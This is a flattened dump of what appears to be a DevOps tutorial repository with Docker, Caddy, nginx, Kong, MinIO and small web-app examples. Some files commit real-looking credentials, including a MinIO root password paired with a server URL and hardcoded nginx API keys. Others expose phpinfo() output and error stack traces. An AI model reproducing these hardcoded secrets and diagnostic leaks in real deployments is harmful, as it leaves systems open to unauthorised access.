2 |
3 | int main(void){
4 | printf("hello world");
5 | return 0;
6 | }
7 |
--------------------------------------------------------------------------------
/bun/next/app/app/fonts/GeistVF.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/bun/next/app/app/fonts/GeistVF.woff
--------------------------------------------------------------------------------
/dockerize/react/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/dockerize/react/public/favicon.ico
--------------------------------------------------------------------------------
/dockerize/react/public/logo192.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/dockerize/react/public/logo192.png
--------------------------------------------------------------------------------
/dockerize/react/public/logo512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/dockerize/react/public/logo512.png
--------------------------------------------------------------------------------
/random-proj/weather-map/image/base.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/random-proj/weather-map/image/base.png
--------------------------------------------------------------------------------
/bun/express/app/views/error.ejs:
--------------------------------------------------------------------------------
1 | <%= message %>
2 | <%= error.status %>
3 | <%= error.stack %>
4 |
--------------------------------------------------------------------------------
/bun/next/app/app/fonts/GeistMonoVF.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/bun/next/app/app/fonts/GeistMonoVF.woff
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/environments/environment.prod.ts:
--------------------------------------------------------------------------------
1 | export const environment = {
2 | production: true
3 | };
4 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/styles.css:
--------------------------------------------------------------------------------
1 | /* You can add global styles to this file, and also import other style files */
2 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/dockerize/angular/angular/src/favicon.ico
--------------------------------------------------------------------------------
/echo_server/node/.dockerignore:
--------------------------------------------------------------------------------
1 | .git/
2 | node_modules/
3 | Dockerfile
4 | Dockerfile-debian
5 | readme.md
6 | docker-compose.yml
7 |
--------------------------------------------------------------------------------
/kong/self-signed-ssl/presentation/pic.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/kong/self-signed-ssl/presentation/pic.png
--------------------------------------------------------------------------------
/minio/single-node-multi-drive/.env:
--------------------------------------------------------------------------------
1 | MINIO_VOLUMES="/data-{1...3}"
2 | MINIO_ROOT_USER=username
3 | MINIO_ROOT_PASSWORD=password
4 |
--------------------------------------------------------------------------------
/minio/standalone/.env:
--------------------------------------------------------------------------------
1 | MINIO_ROOT_USER=admin
2 | MINIO_ROOT_PASSWORD=4j0weh8e94
3 | MINIO_SERVER_URL=http://minio.sinawic.com:9000
4 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/public/robots.txt:
--------------------------------------------------------------------------------
1 | # https://www.robotstxt.org/robotstxt.html
2 | User-agent: *
3 | Disallow:
4 |
--------------------------------------------------------------------------------
/caddy/static_response/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Caddy static response
4 |
5 | curl -i localhost/404
6 | curl -i localhost/custom-header
7 |
--------------------------------------------------------------------------------
/honeypot-docker/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | nano motd
3 | mkdir cowrie user-files session-logs
4 | touch cowrie/cowrie.json
5 | touch cowrie/cowrie.log
--------------------------------------------------------------------------------
/linux/c-nodejs-communication/output.json:
--------------------------------------------------------------------------------
1 | {
2 | "age": "24",
3 | "name": "sinawic",
4 | "role": "DevOps engineer"
5 | }
6 |
--------------------------------------------------------------------------------
/nginx/custom-pages/50x.html:
--------------------------------------------------------------------------------
1 | Oops! Something went wrong...
2 | We seem to be having some technical difficulties. Hang tight.
3 |
--------------------------------------------------------------------------------
/caddy/basic/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/file_server
4 |
5 |
--------------------------------------------------------------------------------
/dockerize/flask/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | flask_app:
5 | image: awesome-flask
6 | ports:
7 | - 8000:8000
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/vscode/vscode-inbrowser-dev/code/public/favicon.ico
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/public/logo192.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/vscode/vscode-inbrowser-dev/code/public/logo192.png
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/public/logo512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/vscode/vscode-inbrowser-dev/code/public/logo512.png
--------------------------------------------------------------------------------
/bun/next/app/public/vercel.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/bun/next/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | mybun:
4 | image: bun_next
5 | ports:
6 | - 3000:3000
7 | restart: always
8 |
--------------------------------------------------------------------------------
/caddy/cors/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://gist.github.com/ryanburnette/d13575c9ced201e73f8169d3a793c1a3
4 |
5 |
--------------------------------------------------------------------------------
/postgres/pgbackweb/readme.md:
--------------------------------------------------------------------------------
1 |
2 | # PGBACKWEB
3 |
4 | ## this is a demo of github repo:
5 |
6 | [pgbackweb](https://github.com/eduardolat/pgbackweb)
7 |
--------------------------------------------------------------------------------
/dockerize/django/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | django_web:
5 | image: django_web:latest
6 | ports:
7 | - 8000:8000
8 |
--------------------------------------------------------------------------------
/bun/express/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | mybun:
4 | image: bun-express
5 | ports:
6 | - 3000:3000
7 | restart: always
8 |
--------------------------------------------------------------------------------
/bun/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | mybun:
4 | image: mybun
5 | ports:
6 | - 8080:8080
7 | env_file:
8 | - ./app/.env
9 |
--------------------------------------------------------------------------------
/redis/redis-pub-sub-stream/pub-sub/hint:
--------------------------------------------------------------------------------
1 | curl --header "Content-Type: application/json" --request POST --data '{"name":"name","country":"country"}' http://localhost:3000/
--------------------------------------------------------------------------------
/caddy/ip_restriction/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/matchers
4 |
5 | mkdir config data static
6 |
--------------------------------------------------------------------------------
/caddy/custom_logs/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/log
4 |
5 | mkdir config data logs
6 |
7 |
--------------------------------------------------------------------------------
/dockerize/fastapi/app/main.py:
--------------------------------------------------------------------------------
1 | from fastapi import FastAPI
2 |
3 | app = FastAPI()
4 |
5 |
6 | @app.get("/")
7 | def hello_world():
8 | return {"message": "hello world"}
9 |
--------------------------------------------------------------------------------
/nginx/custom-pages/404.html:
--------------------------------------------------------------------------------
1 | Error 404: Not found :-(
2 | I have no idea where that file is, sorry. Are you sure you typed in the correct URL?
3 |
--------------------------------------------------------------------------------
/bun/express/app/public/stylesheets/style.css:
--------------------------------------------------------------------------------
1 | body {
2 | padding: 50px;
3 | font: 14px "Lucida Grande", Helvetica, Arial, sans-serif;
4 | }
5 |
6 | a {
7 | color: #00B7FF;
8 | }
9 |
--------------------------------------------------------------------------------
/bun/next/app/next.config.ts:
--------------------------------------------------------------------------------
1 | import type { NextConfig } from "next";
2 |
3 | const nextConfig: NextConfig = {
4 | /* config options here */
5 | };
6 |
7 | export default nextConfig;
8 |
--------------------------------------------------------------------------------
/caddy/bot_detection/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/file_server
4 |
5 | mkdir config data static
6 |
--------------------------------------------------------------------------------
/caddy/load_balancing/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/reverse_proxy
4 |
5 | mkdir config data
6 |
--------------------------------------------------------------------------------
/dockerize/fastapi/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | fastapi_app:
5 | image: awesome-fastapi
6 | ports:
7 | - 8000:8000
8 | restart: always
9 |
--------------------------------------------------------------------------------
/nginx/apikey_auth/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://swagger.io/docs/specification/authentication/api-keys/
3 |
4 | curl -I 'http://localhost:9999/' --header 'apikey: diXnbzglAWMMIvyEEV3rq7Kt'
5 |
--------------------------------------------------------------------------------
/caddy/file_server/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/file_server
4 |
5 | mkdir config data static
6 |
7 |
--------------------------------------------------------------------------------
/dockerize/apache-php/app/index.php:
--------------------------------------------------------------------------------
1 | Hello World!'.$_SERVER['SERVER_ADDR'].':'.$_SERVER['SERVER_PORT'];
4 | phpinfo();
5 | ?>
6 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-docker-plugin/hint.md:
--------------------------------------------------------------------------------
1 | wget https://github.com/rabbitmq/rabbitmq-delayed-message-exchange/releases/download/3.11.1/rabbitmq_delayed_message_exchange-3.11.1.ez
2 |
3 |
4 |
--------------------------------------------------------------------------------
/bun/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM oven/bun:1.0
2 |
3 | WORKDIR /home/bun/app
4 |
5 | COPY ./package.json .
6 |
7 | RUN bun install
8 |
9 | COPY . .
10 |
11 | CMD [ "bun", "run", "prod" ]
12 |
--------------------------------------------------------------------------------
/imageproxy/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://github.com/willnorris/imageproxy
3 |
4 | http://pc.com:8080/150x300,sc/http://nginx/files/img2.jpg
5 | http://pc.com:8080/100,r90/http://nginx/files/img1.jpg
6 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-docker-plugin/rabbitmq_delayed_message_exchange-3.11.1.ez:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sinawic/4yt/HEAD/rabbitMQ/rabbitMQ-docker-plugin/rabbitmq_delayed_message_exchange-3.11.1.ez
--------------------------------------------------------------------------------
/bun/express/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM oven/bun:1.0
2 |
3 | WORKDIR /home/bun/app
4 |
5 | COPY ./package.json .
6 |
7 | RUN bun install
8 |
9 | COPY . .
10 |
11 | CMD [ "bun", "run", "prod" ]
12 |
--------------------------------------------------------------------------------
/nginx/auth_req/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/nginx/nginx-proxy/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/nginx/nginx-load-balancer/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/caddy/layer4/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/mholt/caddy-l4
5 |
6 | FROM caddy:2.8.4
7 |
8 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
9 |
--------------------------------------------------------------------------------
/dockerize/apache-php/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | php_app:
5 | image: php:8.0.9-apache
6 | ports:
7 | - 8080:80
8 | volumes:
9 | - ./app:/var/www/html
10 |
--------------------------------------------------------------------------------
/nginx/bot-detection/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/nginx/rate-limit/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/nginx/static-response/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - ./nginx.conf:/etc/nginx/nginx.conf
7 | ports:
8 | - 9999:9999
9 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | node-proxy:
4 | image: node-proxy:v1
5 | volumes:
6 | - "./app/index.js:/app/index.js"
7 | ports:
8 | - 3000:3000
9 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-docker-plugin/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM rabbitmq:3.11-management
2 | COPY ./rabbitmq_delayed_message_exchange-3.11.1.ez /opt/rabbitmq/plugins/
3 | RUN rabbitmq-plugins enable rabbitmq_delayed_message_exchange
--------------------------------------------------------------------------------
/bun/express/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | > `bunx express-generator -v ejs --git`
5 |
6 | > `bun i`
7 |
8 | *replace start script*
9 |
10 | > `bun start`
11 |
--------------------------------------------------------------------------------
/caddy/metrics_monitor/prometheus.yaml:
--------------------------------------------------------------------------------
1 | scrape_configs:
2 | # external nodes
3 | - job_name: caddy
4 | metrics_path: /metrics
5 | scheme: http
6 | static_configs:
7 | - targets:
8 | - caddy
9 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | node-proxy:
4 | image: node-proxy:v1
5 | volumes:
6 | - "./app/index.js:/app/index.js"
7 | ports:
8 | - 3001:3000
9 |
--------------------------------------------------------------------------------
/kong/self-signed-ssl/config/kong.yml:
--------------------------------------------------------------------------------
1 | _format_version: "2.1"
2 |
3 | services:
4 | - name: echo-server
5 | url: http://backend
6 | routes:
7 | - name: echo
8 | paths:
9 | - /echo
10 |
--------------------------------------------------------------------------------
/caddy/rate_limiter/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/mholt/caddy-ratelimit
5 |
6 | FROM caddy:2.8.4
7 |
8 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
9 |
--------------------------------------------------------------------------------
/caddy/request_id/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/lolPants/caddy-requestid
5 |
6 | FROM caddy:2.8.4
7 |
8 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
9 |
--------------------------------------------------------------------------------
/linux/bash/bool-op.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | a=10
4 | b=20
5 |
6 | if [ $a -lt $b -o $b -gt 100 ]
7 | then
8 | echo "true"
9 | fi
10 |
11 |
12 | if [ $a -lt $b -a $b -gt 100 ]
13 | then
14 | echo "true"
15 | fi
16 |
--------------------------------------------------------------------------------
/remote-linux-access/wetty/Readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | https://github.com/butlerx/wetty
4 |
5 | npm i -g wetty
6 |
7 | wetty --ssh-host=10.10.10.69
8 | docker run --rm -p 3000:3000 wettyoss/wetty --ssh-host=10.10.10.69
9 |
10 |
--------------------------------------------------------------------------------
/dockerize/flask/app/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask
2 | app = Flask(__name__)
3 |
4 | @app.route('/')
5 | def hello():
6 | return "Hello World!"
7 |
8 | if __name__ == '__main__':
9 | app.run(host='0.0.0.0', port=8000)
10 |
--------------------------------------------------------------------------------
/dockerize/react/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | awesome-react:
5 | image: awesome-react
6 | ports:
7 | - 3000:3000
8 | volumes:
9 | - ./:/app
10 | - /app/node_modules
11 |
--------------------------------------------------------------------------------
/nginx-vs-openresty/conf.d-openresty/default.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | server_name example.com;
4 |
5 | location / {
6 | content_by_lua_block {
7 | ngx.say("Hello, OpenResty!")
8 | }
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/caddy/basic/static/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Caddy tutorial
5 |
6 |
7 | Page loaded at: {{now | date "Mon Jan 2 15:04:05 MST 2006"}}
8 |
9 |
10 |
--------------------------------------------------------------------------------
/caddy/cors/static/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Caddy tutorial
5 |
6 |
7 | Page loaded at: {{now | date "Mon Jan 2 15:04:05 MST 2006"}}
8 |
9 |
10 |
--------------------------------------------------------------------------------
/caddy/docker_upstreams/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/invzhi/caddy-docker-upstreams
5 |
6 | FROM caddy:2.8.4
7 |
8 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
9 |
--------------------------------------------------------------------------------
/caddy/replace_response/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/caddyserver/replace-response
5 |
6 | FROM caddy:2.8.4
7 |
8 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
9 |
--------------------------------------------------------------------------------
/dockerize/flask/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10-alpine
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt .
6 | RUN pip3 install -r requirements.txt
7 |
8 | COPY . .
9 |
10 | EXPOSE 8000
11 |
12 | CMD ["python3", "app.py"]
13 |
--------------------------------------------------------------------------------
/caddy/basic_auth/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/basic_auth
4 |
5 | mkdir config data
6 |
7 | htpasswd -nbB bob password
8 | htpasswd -nbB alice password
9 |
--------------------------------------------------------------------------------
/caddy/file_server/static/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Caddy tutorial
5 |
6 |
7 | Page loaded at: {{now | date "Mon Jan 2 15:04:05 MST 2006"}}
8 |
9 |
10 |
--------------------------------------------------------------------------------
/dockerize/angular/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | angular-app:
5 | image: awesome-angular
6 | ports:
7 | - 4200:4200
8 | volumes:
9 | - ./angular:/project
10 | - /project/node_modules
--------------------------------------------------------------------------------
/linux/bash/case.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | a="orange"
4 |
5 | case $a in
6 | "apple") echo "apple is provided"
7 | ;;
8 | "banana") echo "banana is provided"
9 | ;;
10 | "orange") echo "orange is provided"
11 | ;;
12 | esac
13 |
--------------------------------------------------------------------------------
/caddy/custom_ssl/CaddyFile:
--------------------------------------------------------------------------------
1 |
2 | pc {
3 | tls /certs/pc.crt /certs/pc.key
4 |
5 | reverse_proxy backend:80
6 | }
7 |
8 | sinawic {
9 | tls /certs/sinawic.crt /certs/sinawic.key
10 |
11 | reverse_proxy backend2:80
12 | }
13 |
--------------------------------------------------------------------------------
/dockerize/fastapi/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10-alpine
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt .
6 | RUN pip install -r requirements.txt
7 |
8 | COPY . .
9 |
10 | CMD [ "uvicorn", "app.main:app", "--host", "0.0.0.0", "--port", "8000" ]
--------------------------------------------------------------------------------
/echo_server/compose/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | echo-server:
4 | image: ealen/echo-server:latest
5 | restart: always
6 | environment:
7 | - ENABLE__ENVIRONMENT=false
8 | ports:
9 | - 6969:80
10 |
--------------------------------------------------------------------------------
/nginx/workers/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - ./nginx.conf:/etc/nginx/nginx.conf
7 | - ./front:/var/www/front
8 | ports:
9 | - 9999:9999
10 |
--------------------------------------------------------------------------------
/caddy/request_id/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://github.com/lolPants/caddy-requestid
4 |
5 | mkdir config data
6 |
7 | docker build -t sinawic/caddy:2.8.4-request_id .
8 |
9 | curl -i localhost/api/
10 |
--------------------------------------------------------------------------------
/nginx/apikey_auth/apikeys.conf:
--------------------------------------------------------------------------------
1 | map $http_apikey $api_client_name {
2 | default "";
3 | "KrtKNkLNGcwKQ56la4jcHwxF" "client_one";
4 | "sqj3Ye0vFW/CM/o7LTSMEMM+" "client_two";
5 | "diXnbzglAWMMIvyEEV3rq7Kt" "client_ten";
6 | }
7 |
--------------------------------------------------------------------------------
/kong/self-signed-ssl/hint.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | DOMAIN=localhost
4 | openssl genpkey -algorithm RSA -out $DOMAIN.key
5 | openssl req -new -key $DOMAIN.key -out $DOMAIN.csr -subj "/CN=$DOMAIN"
6 | openssl req -x509 -in $DOMAIN.csr -key $DOMAIN.key -out $DOMAIN.crt -days 365
7 |
8 |
--------------------------------------------------------------------------------
/caddy/forward_auth/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/forward_auth
4 |
5 | mkdir config data
6 |
7 | curl -i http://localhost/api/
8 | curl -i -H 'authorization: abc' http://localhost/api/
9 |
--------------------------------------------------------------------------------
/bun/express/app/routes/index.js:
--------------------------------------------------------------------------------
1 | var express = require('express');
2 | var router = express.Router();
3 |
4 | /* GET home page. */
5 | router.get('/', function(req, res, next) {
6 | res.render('index', { title: 'Express' });
7 | });
8 |
9 | module.exports = router;
10 |
--------------------------------------------------------------------------------
/bun/express/app/routes/users.js:
--------------------------------------------------------------------------------
1 | var express = require('express');
2 | var router = express.Router();
3 |
4 | /* GET users listing. */
5 | router.get('/', function(req, res, next) {
6 | res.send('respond with a resource');
7 | });
8 |
9 | module.exports = router;
10 |
--------------------------------------------------------------------------------
/caddy/replace_response/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://github.com/caddyserver/replace-response
4 |
5 | mkdir config data
6 |
7 | docker build -t sinawic/caddy:2.8.4-replace_response .
8 |
9 | curl -i http://pc.com/api/
10 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:17.0.1-bullseye-slim
2 |
3 | WORKDIR /project
4 |
5 | RUN npm install -g @angular/cli@13
6 |
7 | COPY package.json package-lock.json ./
8 | RUN npm i
9 |
10 | COPY . .
11 |
12 | EXPOSE 4200
13 | CMD ["npm", "start"]
14 |
--------------------------------------------------------------------------------
/nginx/http-logs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://www.javatpoint.com/nginx-variables
2 |
3 | version: '3'
4 | services:
5 | nginx:
6 | image: nginx:1.21-alpine
7 | volumes:
8 | - "./nginx.conf:/etc/nginx/nginx.conf"
9 | ports:
10 | - 9999:9999
11 |
--------------------------------------------------------------------------------
/ftp-server/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Pre setup
4 |
5 | ### for having two different directories owned by two different users:
6 |
7 | ```bash
8 | chown 10000:10000 one
9 |
10 | chown 10000:10000 two
11 |
12 | chmod -R go-rx one two
13 |
14 | docker-compose up -d
15 | ```
16 |
--------------------------------------------------------------------------------
/nginx/ip-restriction/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.18.0
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | - "./ip-restriction.conf:/etc/nginx/ip-restriction.conf"
8 | ports:
9 | - 9999:9999
10 |
--------------------------------------------------------------------------------
/caddy/layer4/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/modules/layer4
4 | # https://github.com/mholt/caddy-l4
5 |
6 | mkdir config data
7 |
8 | docker build -t sinawic/caddy:2.8.4-ssh .
9 |
10 | ssh sinawic@pc.com -p 1080
11 |
--------------------------------------------------------------------------------
/dockerize/react/src/setupTests.ts:
--------------------------------------------------------------------------------
1 | // jest-dom adds custom jest matchers for asserting on DOM nodes.
2 | // allows you to do things like:
3 | // expect(element).toHaveTextContent(/react/i)
4 | // learn more: https://github.com/testing-library/jest-dom
5 | import '@testing-library/jest-dom';
6 |
--------------------------------------------------------------------------------
/nginx/static-server/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - ./nginx.conf:/etc/nginx/nginx.conf
7 | - ./front:/var/www/front
8 | - ./files:/var/www/files
9 | ports:
10 | - 9999:9999
11 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:17-alpine3.14
2 | ENV NODE_ENV=production
3 |
4 | WORKDIR /app
5 |
6 | COPY ["package.json", "package-lock.json*", "./"]
7 |
8 | RUN npm install --production
9 |
10 | COPY . .
11 |
12 | CMD [ "npm", "start" ]
13 |
14 | EXPOSE 3000
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:17-alpine3.14
2 | ENV NODE_ENV=production
3 |
4 | WORKDIR /app
5 |
6 | COPY ["package.json", "package-lock.json*", "./"]
7 |
8 | RUN npm install --production
9 |
10 | COPY . .
11 |
12 | CMD [ "npm", "start" ]
13 |
14 | EXPOSE 3000
--------------------------------------------------------------------------------
/caddy/basic/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 | encode zstd gzip
7 | templates
8 | root * /static
9 | file_server {
10 | browse
11 | hide secret
12 | }
13 |
14 | reverse_proxy /api/* backend:80
15 |
16 | # respond "hello caddy"
17 |
18 | }
19 |
--------------------------------------------------------------------------------
/caddy/cache/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM caddy:builder-alpine AS builder
2 |
3 | RUN xcaddy build \
4 | --with github.com/caddyserver/cache-handler \
5 | --with github.com/darkweak/storages/redis/caddy
6 |
7 | FROM caddy:2.8.4
8 |
9 | COPY --from=builder /usr/bin/caddy /usr/bin/caddy
10 |
--------------------------------------------------------------------------------
/caddy/docker_upstreams/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://github.com/invzhi/caddy-docker-upstreams
4 |
5 | mkdir config data
6 |
7 | docker build -t caddy:2.8.4-docker_upstreams .
8 |
9 | curl -i http://pc.com/
10 | curl -i http://example.pc.com/
11 |
--------------------------------------------------------------------------------
/linux/bash/test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | NAME="bash"
3 | unset NAME
4 | echo "hello $NAME"
5 |
6 | echo current PID: $$
7 |
8 | echo filename: $0
9 |
10 | echo first arg: $1
11 |
12 | echo second arg: $2
13 |
14 | echo totall num of args: $#
15 |
16 | echo args passed: $*
17 |
18 | exit 1
19 |
--------------------------------------------------------------------------------
/bun/app/README.md:
--------------------------------------------------------------------------------
1 | # app
2 |
3 | To install dependencies:
4 |
5 | ```bash
6 | bun install
7 | ```
8 |
9 | To run:
10 |
11 | ```bash
12 | bun run index.ts
13 | ```
14 |
15 | This project was created using `bun init` in bun v1.0.0. [Bun](https://bun.sh) is a fast all-in-one JavaScript runtime.
16 |
--------------------------------------------------------------------------------
/bun/express/app/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | <%= title %>
5 |
6 |
7 |
8 | <%= title %>
9 | Welcome to <%= title %>
10 |
11 |
12 |
--------------------------------------------------------------------------------
/bun/socket/README.md:
--------------------------------------------------------------------------------
1 | # app
2 |
3 | To install dependencies:
4 |
5 | ```bash
6 | bun install
7 | ```
8 |
9 | To run:
10 |
11 | ```bash
12 | bun run index.ts
13 | ```
14 |
15 | This project was created using `bun init` in bun v1.0.0. [Bun](https://bun.sh) is a fast all-in-one JavaScript runtime.
16 |
